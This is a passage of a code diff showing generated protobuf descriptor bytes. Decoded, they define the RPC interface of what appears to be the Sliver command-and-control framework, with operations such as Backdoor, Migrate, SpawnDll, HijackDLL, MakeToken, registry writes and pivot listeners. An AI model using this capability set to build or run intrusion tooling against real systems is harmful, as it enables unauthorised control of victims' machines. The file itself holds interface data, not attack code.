0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, - 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, - 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, - 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, - 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, - 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, - 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, - 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, - 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, + 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, + 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, + 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, + 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, + 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, + 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, + 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, + 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, + 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, + 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, + 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, + 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, + 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, + 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, + 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, + 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, + 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, + 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, - 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, - 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, - 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, - 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, - 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, - 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, - 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, - 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, - 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, - 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, - 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, - 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 